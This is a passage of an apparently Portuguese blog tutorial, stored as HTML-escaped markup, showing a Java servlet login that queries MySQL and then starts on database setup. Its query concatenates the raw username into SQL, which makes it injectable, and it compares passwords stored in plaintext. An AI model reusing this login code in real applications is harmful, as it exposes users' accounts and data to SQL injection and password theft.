&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;PrintWriter&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;ou&quot;&gt;out&lt;/span&gt; = &lt;span class=&quot;misspell&quot; suggestions=&quot;responde&quot;&gt;response&lt;/span&gt;.&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;getWriter&lt;/span&gt;();&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;// Essa parte recebe os dados enviados do formulário HTML.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; String&amp;nbsp; &lt;span class=&quot;misspell&quot; suggestions=&quot;ser,use,puser,usar,usei&quot;&gt;user&lt;/span&gt; = &lt;span class=&quot;misspell&quot; suggestions=&quot;requesta,requeste,requesto,requestá&quot;&gt;request&lt;/span&gt;.&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;getParameter&lt;/span&gt;(&quot;&lt;span class=&quot;misspell&quot; suggestions=&quot;ser,use,puser,usar,usei&quot;&gt;user&lt;/span&gt;&quot;);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; String&amp;nbsp; &lt;span class=&quot;misspell&quot; suggestions=&quot;PRD,PSD&quot;&gt;pwd&lt;/span&gt; = &lt;span class=&quot;misspell&quot; suggestions=&quot;requesta,requeste,requesto,requestá&quot;&gt;request&lt;/span&gt;.&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;getParameter&lt;/span&gt;(&quot;&lt;span class=&quot;misspell&quot; suggestions=&quot;PRD,PSD&quot;&gt;pwd&lt;/span&gt;&quot;);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;try&lt;/span&gt; {&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //Conexão com o Banco. &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span class=&quot;misspell&quot; suggestions=&quot;Classe&quot;&gt;Class&lt;/span&gt;.&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;forName&lt;/span&gt;(&quot;com.mysql.jdbc.Driver&quot;);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;catch&lt;/span&gt; (&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;ClassNotFoundException&lt;/span&gt; ex) {&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;try&lt;/span&gt; {&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; System.out.println(&quot;Abrindo conexão com o MySQL...&quot;);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //Determina o Servidor o &lt;span class=&quot;misspell&quot; suggestions=&quot;usuário&quot;&gt;usuario&lt;/span&gt; e a senha para o banco de dados&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;//não se esqueça de mudar.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span class=&quot;misspell&quot; suggestions=&quot;CNE,CNN&quot;&gt;cnx&lt;/span&gt; = &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;DriverManager&lt;/span&gt;.&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;getConnection&lt;/span&gt;(&quot;jdbc:mysql://localhost/java&quot;, &quot;&lt;span class=&quot;misspell&quot; suggestions=&quot;usuário&quot;&gt;usuario&lt;/span&gt;&quot;, &quot;senha&quot;);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;Statement&lt;/span&gt; buscar = &lt;span class=&quot;misspell&quot; suggestions=&quot;nula,nulo&quot;&gt;null&lt;/span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;ResultSet&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;sr,ris,rãs,rés,rês&quot;&gt;rs&lt;/span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; String &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;sqlVerifica&lt;/span&gt; = &quot;&lt;span class=&quot;misspell&quot; suggestions=&quot;selecta,selecto&quot;&gt;select&lt;/span&gt; nome,senha &lt;span class=&quot;misspell&quot; suggestions=&quot;ROM&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;login&lt;/span&gt;.&lt;span class=&quot;misspell&quot; suggestions=&quot;usuários&quot;&gt;usuarios&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;where&lt;/span&gt; nome=&#39;&quot; + &lt;span class=&quot;misspell&quot; suggestions=&quot;ser,use,puser,usar,usei&quot;&gt;user&lt;/span&gt; + &quot;&#39;&quot;;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; buscar = &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;cnx&lt;/span&gt;.&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;createStatement&lt;/span&gt;();&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;rs&lt;/span&gt;&amp;nbsp; = buscar.&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;executeQuery&lt;/span&gt;(&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;sqlVerifica&lt;/span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //java.sql.ResultSetMetaData dados = &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;rs&lt;/span&gt;.&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;getMetaData&lt;/span&gt;();&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;rs&lt;/span&gt;.&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;next&lt;/span&gt;();&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //&amp;nbsp;&amp;nbsp; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;out&lt;/span&gt;.&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;print&lt;/span&gt;(&quot;senha digitada é &quot; + &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;pwd&lt;/span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //&amp;nbsp; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;out&lt;/span&gt;.&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;print&lt;/span&gt;(&quot; Senha correta é &quot; + &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;rs&lt;/span&gt;.&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;getObject&lt;/span&gt;(2));&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; String &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;senhacerta&lt;/span&gt; = &quot;&quot; +&amp;nbsp; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;rs&lt;/span&gt;.&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;getObject&lt;/span&gt;(2) + &quot;&quot;;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;if&lt;/span&gt; (&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;pwd&lt;/span&gt;.&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;equals&lt;/span&gt;(&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;senhacerta&lt;/span&gt;))&amp;nbsp; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;request&lt;/span&gt;.&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;getRequestDispatcher&lt;/span&gt;(&quot;/WEB-&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;INF&lt;/span&gt;/&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;home&lt;/span&gt;.&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;jsp&lt;/span&gt;&quot;).&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;forward&lt;/span&gt;(&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;request&lt;/span&gt;, &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;response&lt;/span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;request&lt;/span&gt;.&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;getRequestDispatcher&lt;/span&gt;(&quot;/&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;index&lt;/span&gt;.&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;jsp&lt;/span&gt;&quot;).&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;forward&lt;/span&gt;(&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;request&lt;/span&gt;, &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;response&lt;/span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //String &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;sqlVerifica&lt;/span&gt; = &quot;&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;select&lt;/span&gt; nome,senha &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;login&lt;/span&gt;.&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;usuarios&lt;/span&gt; &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;where&lt;/span&gt; nome=&#39;&quot; + &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;user&lt;/span&gt; + &quot;&#39;&quot;;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //java.sql.PreparedStatement &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;VerLogin&lt;/span&gt; = &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;cnx&lt;/span&gt;.&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;prepareStatement&lt;/span&gt;(&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;sqlVerifica&lt;/span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;ResultSetMetaData&lt;/span&gt; teste = &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;VerLogin&lt;/span&gt;.&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;getMetaData&lt;/span&gt;();&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;catch&lt;/span&gt; (&lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;SQLException&lt;/span&gt; ex1) {&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Logger.getLogger(login.class.getName()).log(Level.SEVERE, &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;null&lt;/span&gt;, ex1);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; } &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin: 0pt; text-align: center;&quot;&gt;&lt;span style=&quot;font-size: x-large;&quot;&gt;&lt;b&gt;Banco de dados&lt;/b&gt;&lt;/span&gt; &lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;O código acima deve funcionar, antes de terminar nós precisamos criar o Banco de dados.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;span style=&quot;font-family: &#39;times new roman&#39;;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Para isso siga os passas abaixo no &lt;span class=&quot;misspell&quot; suggestions=&quot;&quot;&gt;Mysql&lt;/span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin: 0pt;&quot;&gt;&lt;br /&gt;
